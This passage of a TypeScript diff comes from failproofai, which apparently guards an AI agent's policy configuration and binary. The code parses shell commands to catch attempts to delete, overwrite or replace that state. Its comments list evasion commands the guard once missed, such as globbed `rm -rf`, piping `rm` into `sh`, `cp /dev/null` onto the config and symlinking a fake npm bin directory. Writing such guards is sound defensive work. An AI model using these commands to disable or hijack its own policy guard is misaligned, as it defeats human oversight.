"no-clobber", "no-dereference", "no-target-directory", + "one-file-system", "parents", "preserve", "recursive", "reflink", "remove-destination", + "strip-trailing-slashes", "symbolic-link", "update", "verbose", "version", + ], + }, + mv: { + short: "St", + values: ["suffix", "target-directory"], + flags: [ + "backup", "context", "debug", "exchange", "force", "help", "interactive", "no-clobber", "no-copy", + "no-target-directory", "strip-trailing-slashes", "update", "verbose", "version", + ], + }, + ln: { + short: "St", + values: ["suffix", "target-directory"], + flags: [ + "backup", "force", "help", "interactive", "logical", "no-dereference", "no-target-directory", "physical", + "relative", "symbolic", "verbose", "version", + ], + }, + install: { + short: "mogSt", + values: ["group", "mode", "owner", "strip-program", "suffix", "target-directory"], + flags: [ + "backup", "compare", "context", "directory", "help", "no-target-directory", "preserve-context", + "preserve-timestamps", "strip", "unprivileged", "verbose", "version", + ], + }, + rsync: { + short: "@BefMT", + values: [ + "address", "backup-dir", "block-size", "bwlimit", "cc", "checksum-choice", "checksum-seed", "chmod", "chown", + "compare-dest", "compress-choice", "compress-level", "contimeout", "copy-as", "copy-dest", "debug", + "early-input", "exclude", "exclude-from", "files-from", "filter", "groupmap", "iconv", "include", + "include-from", "info", "link-dest", "log-file", "log-file-format", "max-alloc", "max-delete", "max-size", + "min-size", "modify-window", "only-write-batch", "outbuf", "out-format", "partial-dir", "password-file", + "port", "protocol", "read-batch", "remote-option", "rsh", "rsync-path", "skip-compress", "sockopts", + "stop-after", "stop-at", "suffix", "temp-dir", "timeout", "usermap", "write-batch", "zc", "zl", + ], + flags: [ + "acls", "append", "append-verify", "archive", "atimes", "backup", "blocking-io", "checksum", "compress", + "copy-devices", "copy-dirlinks", "copy-links", "copy-unsafe-links", "crtimes", "cvs-exclude", "daemon", "del", + "delay-updates", "delete", "delete-after", "delete-before", "delete-delay", "delete-during", + "delete-excluded", "delete-missing-args", "devices", "dirs", "dry-run", "executability", "existing", + "fake-super", "force", "from0", "fsync", "fuzzy", "group", "hard-links", "help", "human-readable", + "ignore-errors", "ignore-existing", "ignore-missing-args", "ignore-times", "inplace", "ipv4", "ipv6", + "itemize-changes", "keep-dirlinks", "links", "list-only", "mkpath", "munge-links", "no-implied-dirs", + "no-motd", "numeric-ids", "old-args", "old-d", "old-dirs", "omit-dir-times", "omit-link-times", + "one-file-system", "open-noatime", "owner", "partial", "perms", "preallocate", "progress", + "prune-empty-dirs", "quiet", "recursive", "relative", "remove-source-files", "safe-links", "secluded-args", + "size-only", "sparse", "specials", "stats", "stderr", "super", "times", "trust-sender", "update", "verbose", + "version", "whole-file", "write-devices", "xattrs", + ], + }, + // OpenSSH 9's `scp` synopsis: no long options. + scp: { short: "cDFiJloPSX", values: [], flags: [] }, +} satisfies Record)); +/** + * The long option `name` stands for, and whether it takes a value: an exact + * name first, so `--partial` is not read as an abbreviation of + * `--partial-dir` and made to swallow the next word, then the one option an + * abbreviation can only mean. Ambiguous or unknown, the command refuses to run. + */ +function longOptionOf( + options: { values: readonly string[]; flags: readonly string[] }, + name: string, +): { full: string; value: boolean } | undefined { + if (options.values.includes(name)) return { full: name, value: true }; + if (options.flags.includes(name)) return { full: name, value: false }; + const matches = [ + ...options.values.filter((full) => full.startsWith(name)).map((full) => ({ full, value: true })), + ...options.flags.filter((full) => full.startsWith(name)).map((full) => ({ full, value: false })), + ]; + return name.length > 0 && matches.length === 1 ? matches[0] : undefined; +} +/** + * npm's bin directory, `node_modules/.bin`. A directory moved, linked or copied + * recursively ONTO it brings entries the line never names: + * `ln -s /tmp/stage ~/node_modules/.bin` hands every project under `~` without + * its own entry a `failproofai` from `/tmp/stage`, because npx searches each + * parent's `.bin` (#1795). Only npm's: `~/.bin` is somebody's own scripts. + */ +const NPM_BIN_DIRECTORY_RE = /(?:^|[\\/])node_modules[\\/](?:\.?[\\/])*\.bin$/i; +/** Options that are a prefix of an output option's name but are another option themselves. */ +const EXACT_NON_OUTPUT_OPTIONS = new Set(["curl --cookie", "curl --trace-time", "curl --trace-ids", "curl --trace-config"]); +/** `NAME=value` or `export NAME=value`, quoted or not, wherever it sits. */ +const ASSIGNMENT_RE = /(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]+)/g; +/** `declare -n NAME=TARGET` (or `typeset`, `local`): `NAME` read as `TARGET`. */ +const NAMEREF_RE = + /(?:^|[\s;&|(])(?:declare|typeset|local)\s+(?:[-+][A-Za-z]+\s+)*?-[A-Za-z]*n[A-Za-z]*\s+(?:[-+][A-Za-z]+\s+)*([A-Za-z_][A-Za-z0-9_]*)=["']?([A-Za-z_][A-Za-z0-9_]*)["']?/g; +/** The header of a `for` or `select` loop over a list: its variable and the list. */ +const LOOP_VARIABLE_RE = /(?:^|[\s(])(?:for|select)\s+([A-Za-z_][A-Za-z0-9_]*)\s+in\b\s*([\s\S]*)$/; +/** More values than a loop's variable is read with; past it, only those that may reach what is protected. */ +const MAX_LOOP_VALUES = 64; +/** A value a word still holds that the walk cannot read: a substitution, or a reference left unexpanded. */ +const UNREAD_VALUE_RE = /\$\(\((?:[^()]|\([^()]*\))*\)\)|\$\((?:[^()]|\([^()]*\))*\)|\$\(|`[^`]*`|`|\$\{[^}]*\}|\$\{|\$[A-Za-z_][A-Za-z0-9_]*|\$[0-9@*#?$!-]/g; +/** How many `/`-separated segments the deepest glob candidate has. */ +const GLOB_CANDIDATE_DEPTH = Math.max(...STATE_GLOB_CANDIDATES.map((candidate) => candidate.split("/").length)); +/** + * The candidates a mid-path stretch is tried against: the relative ones of two + * segments or more (`node_modules/failproofai`, `node_modules/.bin/failproofai`), + * which stand for the same files under any directory. + */ +const MULTI_SEGMENT_GLOB_CANDIDATES = STATE_GLOB_CANDIDATES.filter( + (candidate) => /^[^~/$]/.test(candidate) && candidate.replace(/^\.\//, "").includes("/"), +); +/** + * True when this token is a glob that could expand onto failproofai's state. + * + * The floor used to be a literal `fail` in the token, and that is exactly what + * a glob is for: `rm -rf ~/.f*ailproofai` spells the same directory without the + * substring anywhere in it, so the pattern was thrown out before it was ever + * compiled. `.[f]ailproofai`, `.fa*lproofai`, `.fa[i]lproofai` and + * `.f{a,b}ilproofai` all walked through the same hole. + * + * A substring cannot decide this, because the whole point of the metacharacter + * is to stand where a letter was. What CAN decide it is the pattern's reach: it + * has to hit the state and miss everything ordinary. So the floor is now + * computed the same way the match is — compile once, require a candidate, and + * reject anything that also catches a decoy. `rm -rf *` and `rm -rf ~/.*` stay + * allowed because they sweep the decoys too; `rm -rf /tmp/test-failures*` stays + * allowed because it reaches no candidate at all. + */ +function globCouldNameState(raw: string): boolean { + // Both readings of a trailing `)`: part of the pattern, and the close of a + // subshell that wrapped it. Trying both is safe in the way widening always is + // here — the decoy test still has to pass. + const stripped = raw.replace(/^[()]+|[()]+$/g, ""); + return globWordCouldNameState(raw) || (stripped !== raw && globWordCouldNameState(stripped)); +} +function globWordCouldNameState(token: string): boolean { + if (!GLOB_METACHAR_RE.test(token)) return false; + // Braces FIRST, because that is the order the shell works in: brace expansion + // rewrites the word into several words, and only then is each one matched + // against the disk. Compiling `{a*,x}` as an alternation of escaped literals + // put a literal `*` inside the pattern, so `~/.f{a*,x}ilproofai` — which the + // shell turns into `~/.fa*ilproofai` and then into `~/.failproofai` — read as + // naming nothing at all. + for (const word of expandBraces(token)) { + if (wordNamesState(word)) return true; + } + return false; +} +/** + * True when one brace-expanded word names the state. + * + * The literal check comes first because expansion can PRODUCE the literal: + * `~/.{failproofai,other}` carries no `.failproofai` as written, and the word it + * expands to needs no glob compilation to be recognised. + */ +function wordNamesState(word: string): boolean { + if (FAILPROOFAI_STATE_PATH_RE.test(word)) return true; + // Every path PREFIX, not just the whole word. The candidates are the state + // directory itself, so `~/.f*ailproofai/policies-config.json` — a glob in a + // segment that is not the last one — compiled to a pattern that could never + // equal `~/.failproofai` and was read as naming nothing. Naming a file INSIDE + // the state is naming the state. + // `//`, `/./` and `..` change nothing a shell opens (`~//.failproof*`), and + // somebody else's home is the same place as the candidates' `/home/u`: + // `/home/alice/.failproof*` and `~alice/.failproof*` named nothing. + const segments = (/\/\/|(?:^|\/)\.\.?\//.test(word) ? shellPath(undefined, word) : word) + .replace(/^\/(home|Users)\/[^/]+(?=\/)/, "/$1/u") + .replace(/^~[A-Za-z0-9._-]+(?=\/)/, "~") + .split("/"); + // A prefix with more segments than the deepest candidate cannot equal one: + // a compiled `*` never crosses a `/`. + for (let end = 1; end <= Math.min(segments.length, GLOB_CANDIDATE_DEPTH); end++) { + if (globPrefixNamesState(segments.slice(0, end).join("/"))) return true; + } + // And every stretch that starts after a `/`, because the paths the + // multi-segment candidates stand for can sit under any directory: + // `/work/proj/node_modules/.bin/fail*` named nothing as a whole word + // (FailproofAI/agenteye#1795). A one-segment stretch only when it starts + // with a literal `.`: a shell's `*` never matches a dotfile, so `models/*ai` + // cannot reach `.failproofai`, while `/var/lib/jenkins/.failproof*` — a home + // no candidate spells — can. + for (let start = 1; start < segments.length; start++) { + const last = Math.min(segments.length, start + GLOB_CANDIDATE_DEPTH); + const first = segments[start].startsWith(".") ? start + 1 : start + 2; + for (let end = first; end <= last; end++) { + const candidates = end - start === 1 ? STATE_GLOB_CANDIDATES : MULTI_SEGMENT_GLOB_CANDIDATES; + if (globPrefixNamesState(segments.slice(start, end).join("/"), candidates)) return true; + } + } + return false; +} +/** + * One `/`-delimited prefix of a brace-expanded word, compiled and tried against + * the candidates. Braces are already gone by here; an unmatched one is literal. + */ +function globPrefixNamesState(token: string, candidates: readonly string[] = STATE_GLOB_CANDIDATES): boolean { + if (!GLOB_METACHAR_RE.test(token)) return false; + // Case-insensitive, like FAILPROOFAI_STATE_PATH_RE: on a default macOS + // volume `NODE_MODULES/fail*` reaches the real `node_modules/failproofai`, + // because the literal parent is resolved by the filesystem. + const re = globTest(token, { ignoreCase: true }); + if (re === null) return false; + if (!candidates.some((candidate) => re.test(candidate))) return false; + return !GLOB_DECOYS.some((decoy) => re.test(decoy)); +} +/** + * Strip the punctuation a shell consumes, so `(cd` reads as `cd`. + * + * Quotes come off for the same reason the brackets do, and they are the pair + * that mattered: `bash -c 'cat ~/.failproofai/policies-config.json'` presented + * a head of `'cat`, which is on no allowlist, so the guard denied a plain read + * of the config through the most ordinary wrapper there is. Stripping them + * cannot let a deleter past — `"rm"` unquotes to `rm`, which is still not a + * reader. + */ +function bareTokenForState(token: string): string { + // A brace expansion keeps its braces: `{hook,x}` is two words to the shell, + // not `hook,x` (found by hermes on FailproofAI/failproofai#1058). + if (/\{[^{}]*(?:,|\.\.)[^{}]*\}/.test(token)) return token.replace(/^[()'"]+|[()'"]+$/g, ""); + return token.replace(/^[(){}'"]+|[(){}'"]+$/g, ""); +} +/** A redirect operator, with an optional fd (`2>`, `{fd}>`), and the same alone. */ +const REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})/; +const LONE_REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})$/; +/** + * A simple command split the way a shell splits it: on whitespace outside + * quotes, so `-H 'X-Ticket: #1795'` is one word. `quoted` says the word starts + * inside quotes or with an escape, where `#` and `>` are characters, not a + * comment or a redirect. + */ +function shellWords(text: string): Array<{ raw: string; quoted: boolean }> { + const words: Array<{ raw: string; quoted: boolean }> = []; + let current = ""; + let started = false; + let quoted = false; + let quote: string | null = null; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (quote === null && /\s/.test(ch)) { + if (started) words.push({ raw: current, quoted }); + current = ""; + started = false; + continue; + } + if (!started) { + started = true; + quoted = ch === "'" || ch === '"' || ch === "\\"; + } + current += ch; + if (ch === "\\" && quote !== "'" && i + 1 < text.length) { + current += text[++i]; + } else if (quote === null && (ch === "'" || ch === '"')) { + quote = ch; + } else if (ch === quote) { + quote = null; + } + } + if (started) words.push({ raw: current, quoted }); + return words; +} +/** + * Walk off everything a shell resolves before it settles on the command word, + * and return the words from the command word on. Mirrors the walk in + * `classifySelfInvocation` — the same prefixes hide a deleter that hid the + * binary, and `xargs -0 rm -f` is the one that matters most here. + * + * Redirects and a comment are not words, after the command word either. The + * copy checks take the LAST operand for the destination, so a redirect or a + * comment after it became the destination they judged: + * `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` and + * `… node_modules/.bin/failproofai # keep` both walked through, while + * `uniq -c < ` read the file it only reads as one it writes. Split + * on whitespace alone, a quoted `#` or `<` cut off the real words after it, so + * the command is split the way a shell splits it (`shellWords`) + * (FailproofAI/agenteye#1795). A command word starting with `#` is a comment line. + */ +function commandWordList(simpleCommand: string): string[] { + const split = (text: string) => shellWords(text).map(({ raw, quoted }) => ({ raw, quoted, token: bareTokenForState(raw) })); + const all = split(simpleCommand.trim()); + let i = 0; + for (let programs = 0; i < all.length; ) { + const { raw, quoted, token } = all[i]; + if (token === "") { + i++; + continue; + } + // A quoted word where the command goes is a program handed to a shell + // (`bash -c 'rm -rf …'`): its own words are the command. + if (quoted && /\s/.test(token) && programs++ < 4) { + all.splice(i, 1, ...split(token)); + continue; + } + // A redirect operator and, when it stands alone, the token it targets — + // `> file` must not leave `file` sitting where the command word goes. + if (!quoted && REDIRECT_OPERATOR_RE.test(raw)) { + i += LONE_REDIRECT_OPERATOR_RE.test(raw) ? 2 : 1; + continue; + } + const skippable = + ENV_ASSIGNMENT_RE.test(token) || + token.startsWith("-") || + RUNNER_OPERAND_RE.test(token) || + SHELL_KEYWORD_PREFIXES.has(token) || + COMMAND_PREFIX_TOKENS.has(commandBasename(token)); + if (!skippable) break; + i++; + } + const words: string[] = []; + for (let j = i; j < all.length; j++) { + const { raw, quoted, token } = all[j]; + if (!quoted && raw.startsWith("#")) break; + if (j > i && !quoted && REDIRECT_OPERATOR_RE.test(raw)) { + if (LONE_REDIRECT_OPERATOR_RE.test(raw)) j++; + continue; + } + words.push(token); + } + return words; +} +/** + * True when a copy, move or link writes a protected path that its words never + * spell (see `INTO_DIRECTORY_OPTIONS`), or puts a directory onto npm's bin + * directory (see `NPM_BIN_DIRECTORY_RE`). + * + * The destination is `-t`'s value in any spelling (`-t DIR`, `-tDIR`, `-vt DIR`, + * `--target-directory=DIR`, `--target DIR`), or else the last operand. Each + * source is judged where it would land, `/`. Whether the + * destination really is a directory is not checked: when it is a file, that + * path is one nothing writes, and it matches only when a source is named like a + * protected file and the destination like the directory that holds one. + * + * A source that is itself protected is a copy OUT, so it counts only when it + * lands on installed code: `cp -r ~/.failproofai /tmp/backup/` lands at + * `/tmp/backup/.failproofai`, which the state pattern matches by name, and is a + * backup; `cp /tmp/bin/failproofai node_modules/.bin/` is not, however its + * source is spelled. A source ending in a separator copies what is IN it, whose + * names are not on the line, so it is judged only through the bin-directory + * check. `inShell` resolves a relative word against a `cd` the walk followed; + * `lost` says the walk could not follow one, so a relative destination may be + * npm's bin directory and the entry's own name there is refused. + * `landsOnState` judges where a written path really lands, symlinks followed. + */ +function landsInDirectoryAs( + words: string[], + namesState: (text: string) => boolean, + inShell: (word: string) => string = (word) => word, + lost = false, + landsOnState: (written: string) => boolean = () => false, + isBinDir: (written: string) => boolean = () => false, +): boolean { + if (words.length === 0) return false; + const head = commandBasename(words[0]); + const options = INTO_DIRECTORY_OPTIONS.get(head); + if (!options) return false; + const operands: string[] = []; + let directory: string | undefined; + let createsDirectories = false; + let recursive = false; + let ontoItself = false; + const args = words.slice(1); + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + operands.push(...args.slice(i + 1)); + break; + } + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + const value = eq === -1 ? undefined : arg.slice(eq + 1); + // GNU takes any unambiguous prefix of a long option: `--target DIR` is + // `--target-directory`, `--rec` is `--recursive`, `--suf x` is `--suffix x`. + const option = longOptionOf(options, name); + if (option?.full === "target-directory") { + directory = value ?? args[++i]; + } else if (option?.value) { + if (value === undefined) i++; + } else if (option?.full === "recursive" || option?.full === "archive") { + recursive = true; + } else if (option?.full === "no-target-directory") { + ontoItself = true; + } else if (option?.full === "directory" && head === "install") { + createsDirectories = true; + } + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (options.short.includes(flag)) { + // The rest of the cluster is the value, or else the next word is. + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (flag === "t" && head !== "rsync") directory = value; + break; + } + if (flag === "r" || ((flag === "R" || flag === "a") && head !== "scp")) recursive = true; + if (flag === "T" && head !== "rsync" && head !== "scp") ontoItself = true; + if (flag === "d" && head === "install") createsDirectories = true; + } + continue; + } + operands.push(arg); + } + if (createsDirectories) return false; + + // `ln -s ` alone links it into the current directory. + const sources = directory !== undefined ? operands : head === "ln" && operands.length === 1 ? operands : operands.slice(0, -1); + const written = directory ?? (head === "ln" && operands.length === 1 ? "." : operands[operands.length - 1]); + if (written === undefined || sources.length === 0) return false; + // `host:path` is somewhere else's disk. + if (head === "scp" && /^[^/\\]{2,}:/.test(written)) return false; + const destination = inShell(written); + if (directory === undefined && (namesState(destination) || landsOnState(written))) return true; + const baseName = (path: string) => path.slice(Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\")) + 1); + if (lost && directory === undefined && relativeWord(written) && couldBeEntryName(baseName(written))) return true; + + const into = destination.replace(/(?:[\\/]+\.?)+$/, ""); + // A directory becomes npm's bin directory when it is moved, linked or copied + // recursively onto a path that does not exist yet. `-t` needs a directory + // that exists, and so does `ln` given a trailing separator, so neither can. + // Copying what is IN a directory (`src/.`, rsync's `src/`, `-T`) fills an + // existing one with names that are not on the line. + // rsync never makes the destination a copy of a source directory: it puts + // `src` inside it, or with `src/` what is in `src`. + const createsDirectory = + directory === undefined && + !(head === "ln" && /[\\/]$/.test(written)) && + (head === "mv" || head === "ln" || (recursive && head !== "rsync")); + const copiesContents = recursive && (ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))); + // The destination as written, or wherever a link there points. + const intoBin = NPM_BIN_DIRECTORY_RE.test(into) || isBinDir(written); + if (intoBin && (createsDirectory || copiesContents)) return true; + if (into === "" || ontoItself) return false; + return sources.some((source) => { + // A trailing separator keeps the directory's own name everywhere but rsync, + // where `src/` means what is in it. + if (head === "rsync" && /[\\/]$/.test(source)) return false; + // A remote source (`host:path`) lands under the name after the host. + const local = head === "scp" || head === "rsync" ? source.replace(/^[^/\\]{2,}:/, "") : source; + const name = baseName(local.replace(/[\\/]+$/, "")); + if (name === "" || name === "." || name === "..") return false; + if (lost && relativeWord(into) && couldBeEntryName(name)) return true; + const landing = `${into}/${name}`; + // A directory named `.bin` landing in a `node_modules` is the same swap. + const writtenLanding = `${written.replace(/[\\/]+$/, "")}/${name}`; + if ( + (NPM_BIN_DIRECTORY_RE.test(landing) || isBinDir(writtenLanding)) && + (head === "mv" || head === "ln" || recursive) + ) { + return true; + } + // A glob source puts names the line does not spell into the directory. + if (intoBin && GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)) return true; + if (!namesState(landing) && !landsOnState(`${written.replace(/[\\/]+$/, "")}/${name}`)) return false; + return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing) || landsOnState(`${written.replace(/[\\/]+$/, "")}/${name}`); + }); +} +/** The entry's own name and the Windows shims npm and bun write beside it. */ +const ENTRY_NAMES = ["failproofai", "failproofai.cmd", "failproofai.ps1", "failproofai.exe", "failproofai.bunx"]; +/** True when a one-segment glob could expand to the entry's name or a shim's. */ +function globCouldBeEntry(name: string): boolean { + const pattern = globTest(name, { ignoreCase: true }); + return pattern === null || ENTRY_NAMES.some((entry) => pattern.test(entry)); +} +/** + * True when this one simple command would destroy whatever it is pointed at. + * + * Reached only for a command that already names failproofai's state, so the + * question is narrow: is this a read, or is it everything else. + */ +function simpleCommandDestroysForState(words: string[], namesState: (text: string) => boolean): boolean { + if (words.length === 0) return false; + const head = commandBasename(words[0]); + const args = words.slice(1); + + // `find` is a read until one of its ACTIONS turns it into something else. + // `-delete` is the miss that started all of this; `-exec` runs anything at + // all, so it is judged by the command it hands the paths to, and an + // unrecognised one is treated as destructive rather than waved through. + if (head === "find") { + if (args.some((a) => a === "-delete")) return true; + // `-fprint ` and its siblings truncate the file they report INTO, so + // `find /etc -fprint ~/.failproofai/policies-config.json` empties the config + // while never descending into the state at all. + if (args.some((a) => FIND_WRITE_ACTIONS.has(a))) return true; + // EVERY `-exec`, not the first: `find … -exec cat {} + -o -exec rm {} +` + // put a read in front of the deleter and walked past a findIndex. + return args.some( + (a, i) => FIND_EXEC_ACTIONS.has(a) && !SAFE_EXEC_COMMANDS.has(commandBasename(args[i + 1] ?? "")), + ); + } + + // `sed -i` edits in place — and so does the `w` command inside a script, + // which needs no flag at all: `sed 's/a/b/w ' /etc/hosts` writes the + // state without `-i` anywhere on the line. + if (head === "sed") { + if (args.some((a) => a.startsWith("-i") || a.startsWith("--in-place"))) return true; + // The filename may ride in the same token (`'s/a/b/w'`) or in the + // next one, because a quoted script containing a space is two tokens by the + // time it gets here. `s/a/b/w` and a bare `w` both end in a `w` that + // follows a delimiter, which is what separates them from a word like `raw`. + return ( + args.some((a, i) => /(?:^|[;}/\s])w$/.test(a) && namesState(args[i + 1] ?? "")) || + args.some((a) => /(?:^|[;}/\s])w\s*\S*\.failproofai/.test(a)) || + sedWriteTargets(sedScriptArgs(args)).some((target) => namesState(target)) + ); + } + + // `awk` can run a shell (`system("rm -rf …")`) or pipe into one, so its + // program has to be read for those two, not just for the `>` the redirect + // scan already catches. + // An in-place edit writes the files it names, whatever reads them otherwise + // (`yq -i`, `awk -i inplace`, `perl -pi`, `ruby -i`; found by #1053's tests + // on #1058). + if (["yq", "awk", "gawk", "perl", "ruby"].includes(head) && writtenOperands(words).some(namesState)) return true; + + if (head === "awk" || head === "gawk" || head === "mawk") { + return args.some((a) => /system\s*\(|\|\s*["']|\|&/.test(a)); + } + + // Copying the state OUT is a backup. Copying anything ONTO it — classically + // `/dev/null` — empties it without naming a delete verb. The destination is + // the last operand, unless `-t` names it instead: `cp -t ~/.failproofai + // /dev/null` puts the destination FIRST and left the last operand innocent. + if (COPY_COMMANDS.has(head)) { + // `rsync --remove-source-files` deletes what it just copied, so the state + // being the SOURCE — the shape that makes every other copy a backup — is + // what makes this one a move. + if (args.includes("--remove-source-files") && args.some((a) => namesState(a))) return true; + const targetAt = args.findIndex((a) => a === "-t" || a === "--target-directory"); + if (targetAt !== -1 && namesState(args[targetAt + 1] ?? "")) return true; + if (args.some((a) => a.startsWith("--target-directory=") && namesState(a))) return true; + const operands = args.filter((a) => !a.startsWith("-")); + const destination = operands[operands.length - 1]; + return destination !== undefined && namesState(destination); + } + + // `tee` writes every operand it is given and reads none of them. + if (OPERAND_WRITE_COMMANDS.has(head)) { + return args.some((a) => !a.startsWith("-") && namesState(a)); + } + + // `uniq INPUT OUTPUT` and `xxd IN OUT`: the second operand is written. + if (SECOND_OPERAND_WRITERS.has(head)) { + const operands = args.filter((a) => !a.startsWith("-")); + return operands.length > 1 && namesState(operands[operands.length - 1]); + } + + // `git` normally carries the path as prose in a message or a body. + if (head === "git") { + const subcommand = gitSubcommand(args); + if (subcommand === undefined || !GIT_DESTRUCTIVE_SUBCOMMANDS.has(subcommand)) return false; + // A message names nothing it writes (a merge message that mentions the + // state): only the operands count, read as the settings walk reads them, + // a message running to the next option once quotes are gone. + const at = words.findIndex((word) => commandBasename(word) === "git"); + return gitOperandsNameTarget(words.slice(at === -1 ? 0 : at), subcommand, namesState, false); + } + + // A reader whose destination arrives as an option rather than as an operand. + // Checked before the allowlist, or `sort -o /dev/null` reads as the + // `sort` it is named after. + if (writesViaOutputFlagForState(head, args, namesState)) return true; + + if (STATE_READ_COMMANDS.has(head) || STATE_MENTION_COMMANDS.has(head)) return false; + return true; +} +/** + * The operands a simple command writes, apart from those it reads or deletes: + * every operand of `tee` and `truncate`, the destination of a copy, move or + * link, the last of `uniq` / `xxd`, `dd of=`, and what `sed -i` edits. + */ +function writtenOperands(words: string[]): string[] { + if (words.length === 0) return []; + const head = commandBasename(words[0]); + const args = words.slice(1); + const operands = args.filter((arg) => !arg.startsWith("-")); + if (OPERAND_WRITE_COMMANDS.has(head) || head === "truncate") return operands; + if (COPY_COMMANDS.has(head) || head === "mv" || head === "ln") return operands.slice(-1); + if (SECOND_OPERAND_WRITERS.has(head)) return operands.length > 1 ? operands.slice(-1) : []; + if (head === "dd") return args.filter((arg) => arg.startsWith("of=")).map((arg) => arg.slice(3)); + if (head === "sed" && args.some((arg) => arg.startsWith("-i") || arg.startsWith("--in-place"))) return operands; + // Other editors that rewrite their files in place (found by #1053's tests on + // #1058): `yq -i`, `awk -i inplace` (its first operand is the program), + // `perl -i` / `-pi`, `ruby -i`. + if (head === "yq" && args.some((arg) => arg === "-i" || arg === "--inplace" || /^-[A-Za-z]*i[A-Za-z]*$/.test(arg))) return operands; + if ((head === "awk" || head === "gawk") && args.some((arg, k) => arg === "-iinplace" || arg === "--include=inplace" || ((arg === "-i" || arg === "--include") && args[k + 1] === "inplace"))) { + return args.some((arg) => arg === "-f" || arg.startsWith("--file")) ? operands.filter((o) => o !== "inplace") : operands.filter((o) => o !== "inplace").slice(1); + } + if ((head === "perl" || head === "ruby") && args.some((arg) => /^-[A-Za-z]*i/.test(arg))) return operands; + return []; +} + +/** + * The sed script a command line carries: every `-e` / `--expression` value, + * or else its first operand. The files after it are files: reading every + * argument for `w` took `/Users/Wei/…` for a write (found by #1053's tests on + * #1058). Scripts read from `-f` files are checked separately. + */ +function sedScriptArgs(args: string[]): string[] { + const scripts: string[] = []; + let fromFile = false; + let first: string | undefined; + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg === "--") { + first ??= args[k + 1]; + break; + } + if (arg === "-e" || arg === "--expression") scripts.push(args[++k] ?? ""); + else if (arg.startsWith("--expression=")) scripts.push(arg.slice("--expression=".length)); + else if (/^-[nrsuzE]*e./.test(arg)) scripts.push(arg.slice(arg.indexOf("e") + 1)); + else if (arg === "-f" || arg === "--file" || arg.startsWith("--file=") || /^-[nrsuzE]*f/.test(arg)) { + fromFile = true; + if (arg === "-f" || arg === "--file") k++; + } else if (arg === "-l" || arg === "--line-length") k++; + else if (!arg.startsWith("-") && first === undefined) first = arg; + } + if (scripts.length > 0 || fromFile) return scripts; + return first === undefined ? [] : [first]; +} +/** + * Whether a pipeline hands text naming failproofai's state or code to a bare + * shell or interpreter, which runs it as its program: `echo 'rm -rf + * ~/.failproofai' | sh`. Read as the settings walk reads it. + */ +function pipesStateIntoShell(command: string): boolean { + const lexed = lexShell(command); + for (const [start, end] of cutRanges(lexed.splittable, PIPELINE_SEPARATORS)) { + const readable = lexed.readable.slice(start, end); + const simples = cutRanges(lexed.splittable.slice(start, end), /\|/); + for (let i = 1; i < simples.length; i++) { + if (!quoteAwareCommandWords(readable.slice(simples[i][0], simples[i][1])).readsStdinProgram) continue; + const upstream = readable.slice(0, simples[i][0]); + if (FAILPROOFAI_STATE_TARGET.namesLiteral(upstream) || FAILPROOFAI_STATE_TARGET.namesLiteral(stripShellQuoting(upstream))) return true; + } + } + return false; +} + +/** How many texts the parameter defaults on one line are read in. */ +const MAX_DEFAULT_VARIANTS = 64; + +/** + * The line with its parameter defaults and alternates filled in, innermost + * first: `${X:-word}`, `${X-word}`, `${X:=word}` as `word` (what the shell uses + * when X is unset), `${X:+word}` / `${X+word}` as `word` and as nothing. The + * line as written is not among them. Bounded: past MAX_DEFAULT_VARIANTS texts + * the rest are dropped, and each of those words is still read as written. + */ +function parameterDefaultVariants(command: string): string[] { + if (!command.includes("${")) return []; + const INNER = /\$\{[#!]?[A-Za-z_][A-Za-z0-9_]*(:?[-=+?])([^{}]*)\}/; + let texts = [command]; + for (let round = 0; round < 32; round++) { + let changed = false; + const next: string[] = []; + for (const text of texts) { + const m = INNER.exec(text); + if (!m) { + next.push(text); + continue; + } + changed = true; + const before = text.slice(0, m.index); + const after = text.slice(m.index + m[0].length); + const op = m[1].replace(":", ""); + if (op === "+") next.push(before + m[2] + after, before + after); + else if (op === "?") next.push(before + after); + else next.push(before + m[2] + after); + } + texts = [...new Set(next)].slice(0, MAX_DEFAULT_VARIANTS); + if (!changed) break; + } + return texts.filter((text) => text !== command); +} + +/** + * The files a sed script writes: its `w` / `W` commands and the `w` flag of + * `s///`, with the name glued on (`wnode_modules/.bin/failproofai`) or after + * spaces, running to the end of the line as GNU sed reads it, and also cut at + * `;` or `}`, which a reader might take for its end. Read from every argument, + * so a match inside a regex can only add a name to check (found by hermes on + * FailproofAI/failproofai#1058). + */ +function sedWriteTargets(args: string[]): string[] { + const targets: string[] = []; + for (const arg of args) { + for (let i = 0; i < arg.length; i++) { + if (arg[i] !== "w" && arg[i] !== "W") continue; + // A `w` that starts a command or is an `s///` flag: at the start, after + // a separator or an address (`1w`, `$w`, `1,5w`, `0~2w`, `1!w`, `/re/w`; + // found by hermes on FailproofAI/failproofai#1058), or after a delimiter + // and other flags (`s/a/b/gw`). After a letter it is part of a word. + let j = i - 1; + while (j >= 0 && (arg[j] === " " || arg[j] === "\t")) j--; + let k = j; + while (k >= 0 && /[gpiImMeE0-9]/.test(arg[k])) k--; + const starts = j < 0 || !/[A-Za-z_\\]/.test(arg[j]) || (k >= 0 && k < j && !/[\w\s\\]/.test(arg[k])); + if (!starts) continue; + if (targets.length >= MAX_SED_TARGETS) throw new Error("a sed script names too many files to check"); + const end = arg.indexOf("\n", i); + const name = arg.slice(i + 1, Math.min(end === -1 ? arg.length : end, i + 1 + PATH_MAX_BYTES)).trim(); + if (name === "") continue; + targets.push(name); + const cut = 